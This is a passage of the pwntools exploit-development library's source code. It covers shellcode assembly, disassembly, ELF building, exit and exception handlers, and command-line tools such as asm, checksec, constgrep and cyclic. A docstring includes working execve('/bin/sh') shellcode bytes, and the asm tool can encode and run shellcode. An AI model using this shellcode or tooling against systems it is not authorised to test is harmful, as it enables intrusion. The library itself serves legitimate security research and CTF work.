['--oformat=' + _bfdname()] E = { 'big': '-EB', 'little': '-EL' }[context.endianness] arguments = { 'i386': ['-m', 'elf_i386'], }.get(context.arch, []) return [ld] + bfd + [E] + arguments def _execstack(linker): ldflags = ['-z', 'execstack'] version = util_versions[linker[0]] if version >= (2, 39): return ldflags + ['--no-warn-execstack', '--no-warn-rwx-segments'] return ldflags def _objcopy(): return [which_binutils('objcopy')] def _objdump(): path = [which_binutils('objdump')] if context.arch in ('i386', 'amd64'): path += ['-Mintel'] return path def _include_header(): os = context.os arch = context.arch include = '%s/%s.h' % (os, arch) if not include or not path.exists(path.join(_incdir, include)): log.warn_once("Could not find system include headers for %s-%s" % (arch,os)) return '\n' return '#include <%s>\n' % include def _arch_header(): prefix = ['.section .shellcode,"awx"', '.global _start', '.global __start', '_start:', '__start:'] headers = { 'i386' : ['.intel_syntax noprefix', '.p2align 0'], 'amd64' : ['.intel_syntax noprefix', '.p2align 0'], 'arm' : ['.syntax unified', '.arch armv7-a', '.arm', '.p2align 2'], 'thumb' : ['.syntax unified', '.arch armv7-a', '.thumb', '.p2align 2' ], 'mips' : ['.set mips2', '.set noreorder', '.p2align 2' ], } return '\n'.join(prefix + headers.get(context.arch, [])) + '\n' def _bfdname(): arch = context.arch E = context.endianness bfdnames = { 'i386' : 'elf32-i386', 'aarch64' : 'elf64-%saarch64' % E, 'amd64' : 'elf64-x86-64', 'arm' : 'elf32-%sarm' % E, 'thumb' : 'elf32-%sarm' % E, 'avr' : 'elf32-avr', 'mips' : 'elf32-trad%smips' % E, 'mips64' : 'elf64-trad%smips' % E, 'alpha' : 'elf64-alpha', 'cris' : 'elf32-cris', 'ia64' : 'elf64-ia64-%s' % E, 'm68k' : 'elf32-m68k', 'msp430' : 'elf32-msp430', 'powerpc' : 'elf32-powerpc', 'powerpc64' : 'elf64-powerpc', 'riscv32' : 'elf%d-%sriscv' % (context.bits, E), 'riscv64' : 'elf%d-%sriscv' % (context.bits, E), 'vax' : 'elf32-vax', 's390' : 'elf%d-s390' % context.bits, 'sparc' : 'elf32-sparc', 'sparc64' : 'elf64-sparc', } if arch in bfdnames: return bfdnames[arch] else: raise Exception("Cannot find bfd name for architecture %r" % arch) def _bfdarch(): arch = context.arch convert = { 'amd64': 'i386:x86-64', 'i386': 'i386', 'ia64': 'ia64-elf64', 'mips64': 'mips', 'powerpc64': 'powerpc', 'sparc64': 'sparc', 'thumb': 'arm', 'riscv32': 'riscv', 'riscv64': 'riscv', } if arch in convert: return convert[arch] return arch def _run(cmd, stdin = None): log.debug('%s', subprocess.list2cmdline(cmd)) try: proc = subprocess.Popen( cmd, stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE, universal_newlines = True ) stdout, stderr = proc.communicate(stdin) exitcode = proc.wait() except OSError as e: if e.errno == errno.ENOENT: log.exception('Could not run %r the program', cmd[0]) else: raise if (exitcode, stderr) != (0, ''): msg = 'There was an error running %r:\n' args = cmd, if exitcode != 0: msg += 'It had the exitcode %d.\n' args += exitcode, if stderr != '': msg += 'It had this on stdout:\n%s\n' args += stderr, log.error(msg, *args) return stdout @LocalContext def cpp(shellcode): r"""cpp(shellcode, ...) -> str Runs CPP over the given shellcode. The output will always contain exactly one newline at the end. Arguments: shellcode(str): Shellcode to preprocess Kwargs: Any arguments/properties that can be set on ``context`` Examples: >>> cpp("mov al, SYS_setresuid", arch = "i386", os = "linux") 'mov al, 164\n' >>> cpp("weee SYS_setresuid", arch = "arm", os = "linux") 'weee (0+164)\n' >>> cpp("SYS_setresuid", arch = "thumb", os = "linux") '(0+164)\n' >>> cpp("SYS_setresuid", os = "freebsd") '311\n' """ if platform.system() == 'Windows': cpp = which_binutils('cpp') else: cpp = 'cpp' code = _include_header() + shellcode cmd = [ cpp, '-Wno-unused-command-line-argument', '-C', '-nostdinc', '-undef', '-P', '-I' + _incdir, ] return _run(cmd, code).strip('\n').rstrip() + '\n' @LocalContext def make_elf_from_assembly(assembly, vma=None, extract=False, shared=False, strip=False, **kwargs): r"""make_elf_from_assembly(assembly, vma=None, extract=None, shared=False, strip=False, **kwargs) -> str Builds an ELF file with the specified assembly as its executable code. This differs from :func:`.make_elf` in that all ELF symbols are preserved, such as labels and local variables. Use :func:`.make_elf` if size matters. Additionally, the default value for ``extract`` in :func:`.make_elf` is different. Note: This is effectively a wrapper around :func:`.asm`. with setting ``extract=False``, ``vma=0x10000000``, and marking the resulting file as executable (``chmod +x``). Note: ELF files created with `arch=thumb` will prepend an ARM stub which switches to Thumb mode. Arguments: assembly(str): Assembly code to build into an ELF vma(int): Load address of the binary (Default: ``0x10000000``, or ``0`` if ``shared=True``) extract(bool): Extract the full ELF data from the file. (Default: ``False``) shared(bool): Create a shared library (Default: ``False``) kwargs(dict): Arguments to pass to :func:`.asm`. Returns: The path to the assembled ELF (extract=False), or the data of the assembled ELF. Example: This example shows how to create a shared library, and load it via ``LD_PRELOAD``. >>> context.clear() >>> context.arch = 'amd64' >>> sc = 'push rbp; mov rbp, rsp;' >>> sc += shellcraft.echo('Hello\n') >>> sc += 'mov rsp, rbp; pop rbp; ret' >>> solib = make_elf_from_assembly(sc, shared=1) >>> subprocess.check_output(['echo', 'World'], env={'LD_PRELOAD': solib}, universal_newlines = True) 'Hello\nWorld\n' The same thing can be done with :func:`.make_elf`, though the sizes are different. They both >>> file_a = make_elf(asm('nop'), extract=True) >>> file_b = make_elf_from_assembly('nop', extract=True) >>> file_a[:4] == file_b[:4] True >>> len(file_a) < len(file_b) True """ if shared and vma: log.error("Cannot specify a VMA for a shared library.") if vma is None: if shared: vma = 0 else: vma = 0x10000000 if context.arch == 'thumb': to_thumb = shellcraft.arm.to_thumb() if not assembly.startswith(to_thumb): assembly = to_thumb + assembly result = asm(assembly, vma = vma, shared = shared, extract = False, **kwargs) if not extract: os.chmod(result, 0o755) else: with open(result, 'rb') as io: result = io.read() return result @LocalContext def make_elf(data, vma=None, strip=True, extract=True, shared=False): r"""make_elf(data, vma=None, strip=True, extract=True, shared=False, **kwargs) -> str Builds an ELF file with the specified binary data as its executable code. Arguments: data(str): Assembled code vma(int): Load address for the ELF file strip(bool): Strip the resulting ELF file. Only matters if ``extract=False``. (Default: ``True``) extract(bool): Extract the assembly from the ELF file. If ``False``, the path of the ELF file is returned. (Default: ``True``) shared(bool): Create a Dynamic Shared Object (DSO, i.e. a ``.so``) which can be loaded via ``dlopen`` or ``LD_PRELOAD``. Examples: This example creates an i386 ELF that just does execve('/bin/sh',...). >>> context.clear(arch='i386') >>> bin_sh = unhex('6a68682f2f2f73682f62696e89e331c96a0b5899cd80') >>> filename = make_elf(bin_sh, extract=False) >>> p = process(filename) >>> p.sendline(b'echo Hello; exit') >>> p.recvline() b'Hello\n' """ retval = None if shared and vma: log.error("Cannot specify a VMA for a shared library.") if context.arch == 'thumb': to_thumb = asm(shellcraft.arm.to_thumb(), arch='arm') if not data.startswith(to_thumb): data = to_thumb + data assembler = _assembler() linker = _linker() code = _arch_header() code += '.string "%s"' % ''.join('\\x%02x' % c for c in bytearray(data)) code += '\n' log.debug("Building ELF:\n" + code) tmpdir = tempfile.mkdtemp(prefix = 'pwn-asm-') step1 = path.join(tmpdir, 'step1-asm') step2 = path.join(tmpdir, 'step2-obj') step3 = path.join(tmpdir, 'step3-elf') try: with open(step1, 'w') as f: f.write(code) _run(assembler + ['-o', step2, step1]) linker_options = _execstack(linker) if vma is not None: linker_options += ['--section-start=.shellcode=%#x' % vma, '--entry=%#x' % vma] elif shared: linker_options += ['-shared', '-init=_start'] linker_options += ['-o', step3, step2] _run(linker + linker_options) if strip: _run([which_binutils('objcopy'), '-Sg', step3]) _run([which_binutils('strip'), '--strip-unneeded', step3]) if not extract: os.chmod(step3, 0o755) retval = step3 else: with open(step3, 'rb') as f: retval = f.read() except Exception: log.exception("An error occurred while building an ELF:\n%s" % code) else: atexit.register(lambda: shutil.rmtree(tmpdir)) return retval @LocalContext def make_macho_from_assembly(shellcode): return make_macho(shellcode, is_shellcode=True) @LocalContext def make_macho(data, is_shellcode=False): prefix = [] if context.arch == 'amd64': prefix = [ '.intel_syntax noprefix', ] prefix.extend([ '.text', '.global _start', '_start:', '.p2align 2', ]) code = '' code += '\n'.join(prefix) + '\n' if is_shellcode: code += cpp(data) else: code += '.string "%s"' % ''.join('\\x%02x' % c for c in bytearray(data)) log.debug('Assembling\n%s' % code) tmpdir = tempfile.mkdtemp(prefix = 'pwn-asm-') step1 = path.join(tmpdir, 'step1') step2 = path.join(tmpdir, 'step2') step3 = path.join(tmpdir, 'step3') with open(step1, 'w') as fd: fd.write(code) assembler = [ '/usr/bin/as', ] asflags = [ '-mmacosx-version-min=11.0', '-o', step2, step1, ] _run(assembler + asflags) linker = [ '/usr/bin/ld', ] ldflags = [ '-macos_version_min', '11.0', '-l', 'System', '-e', '_start', '-L', '/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib', '-o', step3, step2, ] _run(linker + ldflags) os.chmod(step3, 0o755) return step3 @LocalContext def asm(shellcode, vma = 0, extract = True, shared = False): r"""asm(code, vma = 0, extract = True, shared = False, ...) -> str Runs :func:`cpp` over a given shellcode and then assembles it into bytes. To see which architectures or operating systems are supported, look in :mod:`pwnlib.context`. Assembling shellcode requires that the GNU assembler is installed for the target architecture. See :doc:`Installing Binutils ` for more information. Arguments: shellcode(str): Assembler code to assemble. vma(int): Virtual memory address of the beginning of assembly extract(bool): Extract the raw assembly bytes from the assembled file. If :const:`False`, returns the path to an ELF file with the assembly embedded. shared(bool): Create a shared object. kwargs(dict): Any attributes on :data:`.context` can be set, e.g.set ``arch='arm'``. Examples: >>> asm("mov eax, SYS_select", arch = 'i386', os = 'freebsd') b'\xb8]\x00\x00\x00' >>> asm("mov eax, SYS_select", arch = 'amd64', os = 'linux') b'\xb8\x17\x00\x00\x00' >>> asm("mov rax, SYS_select", arch = 'amd64', os = 'linux') b'H\xc7\xc0\x17\x00\x00\x00' >>> asm("mov r0, #SYS_select", arch = 'arm', os = 'linux', bits=32) b'R\x00\xa0\xe3' >>> asm("mov #42, r0", arch = 'msp430') b'0@*\x00' >>> asm("la %r0, 42", arch = 's390', bits=64) b'A\x00\x00*' The output is cached: >>> start = time.time() >>> asm("lea rax, [rip+0]", arch = 'amd64', cache_dir = None) # force uncached time b'H\x8d\x05\x00\x00\x00\x00' >>> uncached_time = time.time() - start >>> asm("lea rax, [rip+0]", arch = 'amd64') # cache it b'H\x8d\x05\x00\x00\x00\x00' >>> start = time.time() >>> asm("lea rax, [rip+0]", arch = 'amd64') b'H\x8d\x05\x00\x00\x00\x00' >>> cached_time = time.time() - start >>> uncached_time > cached_time True """ result = b'' assembler = _assembler() linker = _linker() objcopy = _objcopy() + ['-j', '.shellcode', '-Obinary'] code = '' code += _arch_header() code += cpp(shellcode) log.debug('Assembling\n%s' % code) cache_file = None if context.cache_dir: cache_dir = os.path.join(context.cache_dir, 'asm-cache') if not os.path.isdir(cache_dir): os.makedirs(cache_dir) # Include the context in the hash in addition to the shellcode hash_params = '{}_{}_{}_{}'.format(vma, extract, shared, __version__) fingerprint_params = _encode(code) + _encode(hash_params) + _encode(' '.join(assembler)) + _encode(' '.join(linker)) + _encode(' '.join(objcopy)) asm_hash = sha1sumhex(fingerprint_params) cache_file = os.path.join(cache_dir, asm_hash) if os.path.exists(cache_file): log.debug('Using cached assembly output from %r', cache_file) if extract: with open(cache_file, 'rb') as f: return f.read() # Create a temporary copy of the cached file to avoid modification. tmpdir = tempfile.mkdtemp(prefix = 'pwn-asm-') atexit.register(shutil.rmtree, tmpdir) step3 = os.path.join(tmpdir, 'step3') shutil.copy(cache_file, step3) return step3 tmpdir = tempfile.mkdtemp(prefix = 'pwn-asm-') step1 = path.join(tmpdir, 'step1') step2 = path.join(tmpdir, 'step2') step3 = path.join(tmpdir, 'step3') step4 = path.join(tmpdir, 'step4') try: with open(step1, 'w') as fd: fd.write(code) _run(assembler + ['-o', step2, step1]) if not vma: shutil.copy(step2, step3) if vma or not extract: ldflags = _execstack(linker) + ['-o', step3, step2] if vma: ldflags += ['--section-start=.shellcode=%#x' % vma, '--entry=%#x' % vma] elif shared: ldflags += ['-shared', '-init=_start'] # In order to ensure that we generate ELF files with 4k pages, # and not e.g. 65KB pages (AArch64), force the page size. # This is a result of GNU Gold being silly. # # Introduced in commit dd58f409 without supporting evidence, # this shouldn't do anything except keep consistent page granularity # across architectures. ldflags += ['-z', 'max-page-size=4096', '-z', 'common-page-size=4096'] _run(linker + ldflags) elif open(step2,'rb').read(4) == b'\x7fELF': # Sanity check for seeing if the output has relocations relocs = subprocess.check_output( [which_binutils('readelf'), '-r', step2], universal_newlines = True ).strip() if extract and len(relocs.split('\n')) > 1: log.error('Shellcode contains relocations:\n%s' % relocs) else: shutil.copy(step2, step3) if not extract: if cache_file is not None: shutil.copy(step3, cache_file) return step3 _run(objcopy + [step3, step4]) with open(step4, 'rb') as fd: result = fd.read() except Exception: lines = '\n'.join('%4i: %s' % (i+1,line) for (i,line) in enumerate(code.splitlines())) log.exception("An error occurred while assembling:\n%s" % lines) else: atexit.register(lambda: shutil.rmtree(tmpdir)) if cache_file is not None and result != b'': with open(cache_file, 'wb') as f: f.write(result) return result @LocalContext def disasm(data, vma = 0, byte = True, offset = True, instructions = True): """disasm(data, ...) -> str Disassembles a bytestring into human readable assembler. To see which architectures are supported, look in :mod:`pwnlib.contex`. Arguments: data(str): Bytestring to disassemble. vma(int): Passed through to the --adjust-vma argument of objdump byte(bool): Include the hex-printed bytes in the disassembly offset(bool): Include the virtual memory address in the disassembly Kwargs: Any arguments/properties that can be set on ``context`` Examples: >>> print(disasm(unhex('b85d000000'), arch = 'i386')) 0: b8 5d 00 00 00 mov eax, 0x5d >>> print(disasm(unhex('b85d000000'), arch = 'i386', byte = 0)) 0: mov eax, 0x5d >>> print(disasm(unhex('b85d000000'), arch = 'i386', byte = 0, offset = 0)) mov eax, 0x5d >>> print(disasm(unhex('b817000000'), arch = 'amd64')) 0: b8 17 00 00 00 mov eax, 0x17 >>> print(disasm(unhex('48c7c017000000'), arch = 'amd64')) 0: 48 c7 c0 17 00 00 00 mov rax, 0x17 >>> print(disasm(unhex('04001fe552009000'), arch = 'arm')) # doctest: +ELLIPSIS 0: e51f0004 ldr r0, [pc, #-4] ... 4: 00900052 addseq r0, r0, r2, asr r0 >>> print(disasm(unhex('4ff00500'), arch = 'thumb', bits=32)) 0: f04f 0005 mov.w r0, #5 >>> print(disasm(unhex('656664676665400F18A4000000000051'), byte=0, arch='amd64')) 0: gs data16 fs rex nop WORD PTR gs:[eax+eax*1+0x0] f: push rcx >>> print(disasm(unhex('01000000'), arch='sparc64')) 0: 01 00 00 00 nop >>> print(disasm(unhex('60000000'), arch='powerpc64')) 0: 60 00 00 00 nop >>> print(disasm(unhex('00000000'), arch='mips64')) 0: 00000000 nop >>> print(disasm(unhex('48b84141414141414100c3'), arch='amd64')) 0: 48 b8 41 41 41 41 41 41 41 00 movabs rax, 0x41414141414141 a: c3 ret >>> print(disasm(unhex('00000000'), vma=0x80000000, arch='mips')) 80000000: 00000000 nop """ result = '' arch = context.arch tmpdir = tempfile.mkdtemp(prefix = 'pwn-disasm-') step1 = path.join(tmpdir, 'step1') step2 = path.join(tmpdir, 'step2') bfdarch = _bfdarch() bfdname = _bfdname() objdump = _objdump() + ['-w', '-d', '--adjust-vma', str(vma), '-b', bfdname] objcopy = _objcopy() + [ '-I', 'binary', '-O', bfdname, '-B', bfdarch, '--set-section-flags', '.data=code', '--rename-section', '.data=.text', ] if not byte: objdump += ['--no-show-raw-insn'] if arch == 'thumb': objcopy += ['--prefix-symbol=$t.'] else: objcopy += ['-w', '-N', '*'] try: with open(step1, 'wb') as fd: fd.write(data) _run(objcopy + [step1, step2]) output0 = _run(objdump + [step2]) output1 = re.split(r'<\.text(?:\+0x0)?>:\n', output0, flags=re.MULTILINE) if len(output1) != 2: log.error('Could not find .text in objdump output:\n%s' % output0) result = output1[1].strip('\n').rstrip().expandtabs() except Exception: log.exception("An error occurred while disassembling:\n%s" % data) else: atexit.register(lambda: shutil.rmtree(tmpdir)) lines = [] # Note: those patterns are also used in pwnlib/commandline/disasm.py pattern = '^( *[0-9a-f]+: *)', '((?:[0-9a-f]+ )+ *)', '(.*)' if not byte: pattern = pattern[::2] pattern = ''.join(pattern) for line in result.splitlines(): match = re.search(pattern, line) if not match: lines.append(line) continue groups = match.groups() if byte: o, b, i = groups else: o, i = groups line = '' if offset: line += o if byte: line += b if instructions: line += i lines.append(line) return re.sub(',([^ ])', r', \1', '\n'.join(lines)) Gallopsled-pwntools-3ad86ec/pwnlib/atexception.py000066400000000000000000000056171507273764500224030ustar00rootroot00000000000000""" Analogous to atexit, this module allows the programmer to register functions to be run if an unhandled exception occurs. """ from __future__ import absolute_import from __future__ import division import sys import threading import traceback from pwnlib.context import context __all__ = ['register', 'unregister'] _lock = threading.Lock() _ident = 0 _handlers = {} def register(func, *args, **kwargs): """register(func, *args, **kwargs) Registers a function to be called when an unhandled exception occurs. The function will be called with positional arguments `args` and keyword arguments `kwargs`, i.e. ``func(*args, **kwargs)``. The current `context` is recorded and will be the one used when the handler is run. E.g. to suppress logging output from an exception-handler one could write:: with context.local(log_level = 'error'): atexception.register(handler) An identifier is returned which can be used to unregister the exception-handler. This function can be used as a decorator:: @atexception.register def handler(): ... Notice however that this will bind ``handler`` to the identifier and not the actual exception-handler. The exception-handler can then be unregistered with:: atexception.unregister(handler) This function is thread safe. """ global _ident with _lock: ident = _ident _ident += 1 _handlers[ident] = (func, args, kwargs, vars(context)) return ident def unregister(func): """unregister(func) Remove `func` from the collection of registered functions. If `func` isn't registered this is a no-op. """ if func in _handlers: del _handlers[func] def _run_handlers(): """_run_handlers() Run registered handlers. They run in the reverse order of which they were registered. If a handler raises an exception, it will be printed but nothing else happens, i.e. other handlers will be run. """ for _ident, (func, args, kwargs, ctx) in \ sorted(_handlers.items(), reverse = True): try: with context.local(): context.clear() context.update(**ctx) func(*args, **kwargs) except SystemExit: pass except Exception: # extract the current exception and rewind the traceback to where it # originated typ, val, tb = sys.exc_info() traceback.print_exception(typ, val, tb.tb_next) # we rely on the existing excepthook to print exceptions _oldhook = getattr(sys, 'excepthook', None) def _newhook(typ, val, tb): """_newhook(typ, val, tb) Our excepthook replacement. First the original hook is called to print the exception, then each handler is called. """ if _oldhook: _oldhook(typ, val, tb) if _run_handlers: _run_handlers() sys.excepthook = _newhook Gallopsled-pwntools-3ad86ec/pwnlib/atexit.py000066400000000000000000000057021507273764500213510ustar00rootroot00000000000000""" Replacement for the Python standard library's atexit.py. Whereas the standard :mod:`atexit` module only defines :func:`atexit.register`, this replacement module also defines :func:`unregister`. This module also fixes a the issue that exceptions raised by an exit handler is printed twice when the standard :mod:`atexit` is used. """ from __future__ import absolute_import from __future__ import division import sys import threading import traceback import atexit as std_atexit from pwnlib.context import context __all__ = ['register', 'unregister'] _lock = threading.Lock() _ident = 0 _handlers = {} def register(func, *args, **kwargs): """register(func, *args, **kwargs) Registers a function to be called on program termination. The function will be called with positional arguments `args` and keyword arguments `kwargs`, i.e. ``func(*args, **kwargs)``. The current `context` is recorded and will be the one used when the handler is run. E.g. to suppress logging output from an exit-handler one could write:: with context.local(log_level = 'error'): atexit.register(handler) An identifier is returned which can be used to unregister the exit-handler. This function can be used as a decorator:: @atexit.register def handler(): ... Notice however that this will bind ``handler`` to the identifier and not the actual exit-handler. The exit-handler can then be unregistered with:: atexit.unregister(handler) This function is thread safe. """ global _ident with _lock: ident = _ident _ident += 1 _handlers[ident] = (func, args, kwargs, vars(context)) return ident def unregister(ident): """unregister(ident) Remove the exit-handler identified by `ident` from the list of registered handlers. If `ident` isn't registered this is a no-op. """ if ident in _handlers: del _handlers[ident] def _run_handlers(): """_run_handlers() Run registered exit-handlers. They run in the reverse order of which they were registered. If a handler raises an exception, it will be printed but nothing else happens, i.e. other handlers will be run and `sys.excepthook` will not be called for that reason. """ context.clear() for _ident, (func, args, kwargs, ctx) in \ sorted(_handlers.items(), reverse = True): try: with context.local(**ctx): func(*args, **kwargs) except SystemExit: pass except Exception: # extract the current exception and rewind the traceback to where it # originated typ, val, tb = sys.exc_info() traceback.print_exception(typ, val, tb.tb_next) # if there's already an exitfunc registered be sure to run that too if hasattr(sys, "exitfunc"): register(sys.exitfunc) if sys.version_info[0] < 3: sys.exitfunc = _run_handlers else: std_atexit.register(_run_handlers) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/000077500000000000000000000000001507273764500217635ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/commandline/__init__.py000066400000000000000000000004531507273764500240760ustar00rootroot00000000000000__all__ = [ 'asm', 'checksec', 'common', 'constgrep', 'cyclic', 'debug', 'disasm', 'disablenx', 'elfdiff', 'elfpatch', 'errno', 'hex', 'main', 'phd', 'pwnstrip', 'scramble', 'shellcraft', 'unhex', 'update', 'version' ] Gallopsled-pwntools-3ad86ec/pwnlib/commandline/asm.py000066400000000000000000000061571507273764500231260ustar00rootroot00000000000000from __future__ import absolute_import from __future__ import division import argparse import sys import pwnlib.args pwnlib.args.free_form = False from pwn import * from pwnlib.commandline import common parser = common.parser_commands.add_parser( 'asm', help = 'Assemble shellcode into bytes', description = 'Assemble shellcode into bytes', ) parser.add_argument( 'lines', metavar='line', nargs='*', help='Lines to assemble. If none are supplied, use stdin' ) parser.add_argument( "-f", "--format", help="Output format (defaults to hex for ttys, otherwise raw)", choices=['raw', 'hex', 'string', 'elf'] ) parser.add_argument( "-o","--output", metavar='file', help="Output file (defaults to stdout)", type=argparse.FileType('wb'), default=getattr(sys.stdout, 'buffer', sys.stdout) ) parser.add_argument( '-c', '--context', metavar = 'context', action = 'append', type = common.context_arg, choices = common.choices, help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices, ) parser.add_argument( '-v', '--avoid', action='append', help = 'Encode the shellcode to avoid the listed bytes (provided as hex)' ) parser.add_argument( '-n', '--newline', dest='avoid', action='append_const', const='0a', help = 'Encode the shellcode to avoid newlines' ) parser.add_argument( '-z', '--zero', dest='avoid', action='append_const', const='00', help = 'Encode the shellcode to avoid NULL bytes' ) parser.add_argument( '-d', '--debug', help='Debug the shellcode with GDB', action='store_true' ) parser.add_argument( '-e', '--encoder', help="Specific encoder to use" ) parser.add_argument( '-i', '--infile', help="Specify input file", default=sys.stdin, type=argparse.FileType('r') ) parser.add_argument( '-r', '--run', help="Run output", action='store_true' ) def main(args): tty = args.output.isatty() if args.infile.isatty() and not args.lines: parser.print_usage() sys.exit(1) data = '\n'.join(args.lines) or args.infile.read() output = asm(data.replace(';', '\n')) fmt = args.format or ('hex' if tty else 'raw') formatters = {'r':bytes, 'h':enhex, 's':repr} if args.avoid: avoid = unhex(''.join(args.avoid)) output = encode(output, avoid) if args.debug: proc = gdb.debug_shellcode(output, arch=context.arch) proc.interactive() sys.exit(0) if args.run: proc = run_shellcode(output) proc.interactive() sys.exit(0) if fmt[0] == 'e': args.output.write(make_elf(output)) try: os.fchmod(args.output.fileno(), 0o700) except OSError: pass else: output = formatters[fmt[0]](output) if not hasattr(output, 'decode'): output = output.encode('ascii') args.output.write(output) if tty and fmt != 'raw': args.output.write(b'\n') if __name__ == '__main__': pwnlib.commandline.common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/checksec.py000066400000000000000000000016651507273764500241150ustar00rootroot00000000000000from __future__ import absolute_import from __future__ import division import argparse import sys from pwn import * from pwnlib.commandline import common parser = common.parser_commands.add_parser( 'checksec', help = 'Check binary security settings', description = 'Check binary security settings', ) parser.add_argument( 'elf', nargs='*', type=argparse.FileType('rb'), help='Files to check' ) parser.add_argument( '--file', nargs='*', dest='elf2', metavar='elf', type=argparse.FileType('rb'), help='File to check (for compatibility with checksec.sh)' ) def main(args): files = args.elf or args.elf2 or [] if not files: parser.print_usage() return for f in files: try: e = ELF(f.name) except Exception as e: print("{name}: {error}".format(name=f.name, error=e)) if __name__ == '__main__': common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/common.py000066400000000000000000000027441507273764500236340ustar00rootroot00000000000000import argparse import os import sys import pwnlib from pwnlib.context import context choices = list(map(str, [16,32,64])) choices += list(context.oses) choices += list(context.architectures) choices += list(context.endiannesses) def context_arg(arg): try: context.arch = arg except Exception: pass try: context.os = arg except Exception: pass try: context.bits = int(arg) except Exception: arg try: context.endian = arg except Exception: pass return arg parser = argparse.ArgumentParser(description='Pwntools Command-line Interface', prog='pwn') parser_commands = parser.add_subparsers(dest='command') def main(file=sys.argv[0], command_main=None): name = os.path.splitext(os.path.basename(file))[0] if command_main is None: import importlib command_main = importlib.import_module('pwnlib.commandline.%s' % name).main sys.argv.insert(1, name) entrypoint({name: command_main}) def deprecated_main(): file=sys.argv[0] name = os.path.splitext(os.path.basename(file))[0] import warnings warnings.warn("The '%s' command is deprecated and will be removed in a future version. Please use 'pwn %s' instead." % (name, name), DeprecationWarning, stacklevel=2) main(file) def entrypoint(commands): if len(sys.argv) < 2: parser.print_usage() sys.exit() args = parser.parse_args() with context.local(log_console = sys.stderr): commands[args.command](args) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/constgrep.py000066400000000000000000000076431507273764500243530ustar00rootroot00000000000000from __future__ import absolute_import from __future__ import division import argparse import functools import re import pwnlib.args pwnlib.args.free_form = False from pwn import * from pwnlib.commandline import common p = common.parser_commands.add_parser( 'constgrep', help = "Looking up constants from header files.\n\nExample: constgrep -c freebsd -m ^PROT_ '3 + 4'", description = "Looking up constants from header files.\n\nExample: constgrep -c freebsd -m ^PROT_ '3 + 4'", formatter_class = argparse.RawDescriptionHelpFormatter, ) p.add_argument( '-e', '--exact', action='store_true', help='Do an exact match for a constant instead of searching for a regex', ) p.add_argument( 'regex', help='The regex matching constant you want to find', ) p.add_argument( 'constant', nargs = '?', default = None, type = safeeval.expr, help = 'The constant to find', ) p.add_argument( '-i', '--case-insensitive', action = 'store_true', help = 'Search case insensitive', ) p.add_argument( '-m', '--mask-mode', action = 'store_true', help = 'Instead of searching for a specific constant value, search for values not containing strictly less bits that the given value.', ) p.add_argument( '-c', '--context', metavar = 'arch_or_os', action = 'append', type = common.context_arg, choices = common.choices, help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices, ) def main(args): if args.exact: # This is the simple case print(cpp(args.regex).strip()) else: # New we search in the right module. # But first: We find the right module if context.os == 'freebsd': mod = constants.freebsd else: mod = getattr(getattr(constants, context.os), context.arch) # Compile the given regex, for optimized lookup if args.case_insensitive: matcher = re.compile(args.regex, re.IGNORECASE) else: matcher = re.compile(args.regex) # The found matching constants and the length of the longest string out = [] maxlen = 0 constant = args.constant for k in dir(mod): # No python stuff if k.endswith('__') and k.startswith('__'): continue # Run the regex if not matcher.search(k): continue # Check if the value has proper type val = getattr(mod, k) if not isinstance(val, pwnlib.constants.constant.Constant): continue # Check the constant if constant is not None: if args.mask_mode: if constant & val != val: continue else: if constant != val: continue # Append it out.append((val, k)) maxlen = max(len(k), maxlen) # Output all matching constants for _, k in sorted(out): print('#define %s %s' % (k.ljust(maxlen), cpp(k).strip())) # If we are in match_mode, then try to find a combination of # constants that yield the exact given value # We do not want to find combinations using the value 0. if constant and args.mask_mode: mask = constant good = [] out = [(v, k) for v, k in out if v != 0] while mask and out: cur = out.pop() mask &= ~cur[0] good.append(cur) out = [(v, k) for v, k in out if mask & v == v] if functools.reduce(lambda x, cur: x | cur[0], good, 0) == constant: print('') print('(%s) == %s' % (' | '.join(k for v, k in good), args.constant)) if __name__ == '__main__': pwnlib.commandline.common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/cyclic.py000066400000000000000000000053471507273764500236140ustar00rootroot00000000000000from __future__ import absolute_import from __future__ import division import argparse import six import string import sys import pwnlib.args pwnlib.args.free_form = False from pwn import * from pwnlib.commandline import common parser = common.parser_commands.add_parser( 'cyclic', help = "Cyclic pattern creator/finder", description = "Cyclic pattern creator/finder" ) parser.add_argument( '-a', '--alphabet', metavar = 'alphabet', default = string.ascii_lowercase.encode(), type = packing._encode, help = 'The alphabet to use in the cyclic pattern (defaults to all lower case letters)', ) parser.add_argument( '-n', '--length', metavar = 'length', default = 4, type = int, help = 'Size of the unique subsequences (defaults to 4).' ) parser.add_argument( '-c', '--context', metavar = 'context', action = 'append', type = common.context_arg, choices = common.choices, help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices, ) group = parser.add_mutually_exclusive_group(required=False) group.add_argument( '-l', '-o', '--offset', '--lookup', dest = 'lookup', metavar = 'lookup_value', help = 'Do a lookup instead printing the alphabet', ) group.add_argument( 'count', type=int, nargs='?', default=None, help='Number of characters to print' ) def main(args): alphabet = args.alphabet subsize = args.length if args.lookup: pat = args.lookup if six.PY3: pat = bytes(pat, encoding='utf-8') try: pat = int(pat, 0) pat = pack(pat, 'all') except ValueError: pass pat = flat(pat, bytes=args.length) if len(pat) < subsize: log.critical('Subpattern must be at least %d bytes' % subsize) sys.exit(1) else: pat = pat[:subsize] if not all(c in alphabet for c in pat): log.critical('Pattern contains characters not present in the alphabet') sys.exit(1) offset = cyclic_find(pat, alphabet, subsize) if offset == -1: log.critical('Given pattern does not exist in cyclic pattern') sys.exit(1) else: print(offset) else: want = args.count result = cyclic(want, alphabet, subsize) got = len(result) if want is not None and got < want: log.failure("Alphabet too small (max length = %i)" % got) out = getattr(sys.stdout, 'buffer', sys.stdout) out.write(result) if out.isatty(): out.write(b'\n') if __name__ == '__main__': pwnlib.commandline.common.main(__file__, main) 